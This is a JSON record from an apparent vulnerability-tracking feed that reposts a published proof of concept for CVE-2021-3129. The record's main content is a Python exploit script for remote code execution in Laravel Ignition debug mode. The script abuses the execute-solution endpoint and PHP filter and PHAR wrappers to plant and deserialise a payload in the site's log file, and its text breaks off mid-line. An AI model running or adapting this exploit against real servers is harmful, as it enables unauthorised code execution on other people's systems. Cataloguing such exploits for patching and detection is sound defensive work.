{"uuid": "d517f762-6794-474b-96d2-98eb3185d72b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3129", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4066", "content": "Exploit Collector\nIgnition 2.5.1 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png \nIgnition versions prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel versions prior to 8.4.2.\n\nMD5 | f2749663416c9f45e752a3213c8cb2d6\n\nDownload\n#!/usr/bin/env python3.7\n# Laravel debug mode Remote Code Execution (Ignition &lt;=\n# CVE-2021-3129\n# Reference: https://www.ambionics.io/blog/laravel-debug-rce\n# Author: cfreal\n# Date: 2021-01-13\n#\nimport base64\nimport re\nimport sys\nfrom dataclasses import dataclass\n\nimport requests\n@dataclass\nclass Exploit:\nsession: requests.Session\nurl: str\npayload: bytes\nlog_path: str\n\ndef main(self):\nif not self.log_path:\nself.log_path = self.get_log_path()\n\ntry:\nself.clear_logs()\nself.put_payload()\nself.convert_to_phar()\nself.run_phar()\nfinally:\nself.clear_logs()\n\ndef success(self, message, *args):\nprint('+ ' + message.format(*args))\n\ndef failure(self, message, *args):\nprint('- ' + message.format(*args))\nexit()\n\ndef get_log_path(self):\nr = self.run_wrapper('DOESNOTEXIST')\nmatch = re.search(r'\"file\":\"(\\\\/[^\"]+?)\\\\/vendor\\\\/[^\"]+?\"', r.text)\nif not match:\nself.failure('Unable to find full path')\npath = match.group(1).replace('\\\\/', '/')\npath = f'{path}/storage/logs/laravel.log'\nr = self.run_wrapper(path)\nif r.status_code != 200:\nself.failure('Log file does not exist: {}', path)\n\nself.success('Log file: {}', path)\nreturn path\n\ndef clear_logs(self):\nwrapper = f'php://filter/read=consumed/resource={self.log_path}'\nself.run_wrapper(wrapper)\nself.success('Logs cleared')\nreturn True\n\ndef get_write_filter(self):\nfilters = '|'.join((\n'convert.quoted-printable-decode',\n'convert.iconv.utf-16le.utf-8',\n'convert.base64-decode'\n))\nreturn f'php://filter/write={filters}/resource={self.log_path}'\n\ndef run_wrapper(self, wrapper):\nsolution = \"Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution\"\nreturn self.session.post(\nself.url + '/_ignition/execute-solution/',\njson={\n\"solution\": solution,\n\"parameters\": {\n\"viewFile\": wrapper,\n\"variableName\": \"doesnotexist\"\n}\n}\n)\n\ndef put_payload(self):\npayload = self.generate_payload()\n# This garanties the total log size is even\nself.run_wrapper(payload)\nself.run_wrapper('AA')\n\ndef generate_payload(self):\npayload = self.payload\npayload = base64.b64encode(payload).decode().rstrip('=')\npayload = ''.join(c + '=00' for c in payload)\n# The payload gets displayed twice: use an additional '=00' so that\n# the second one does not have the same word alignment\nreturn 'A' * 100 + payload + '=00'\n\ndef convert_to_phar(self):\nwrapper = self.get_write_filter()\nr = self.run_wrapper(wrapper)\nif r.status_code == 200:\nself.success('Successfully converted to PHAR !')\nelse:\nself.failure('Convertion to PHAR failed (try again ?)')\n\ndef run_phar(self):\nwrapper = f'phar://{self.log_path}/test.txt'\nr = self.run_wrapper(wrapper)\nif r.status_code != 500:\nself.failure('Deserialisation failed ?!!')\nself.success('Phar deserialized')\n# We might be able to read the output of system, but if we can't, it's ok\nmatch = re.search('^(.*?)\\n\\nSource: packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:31.377323Z"}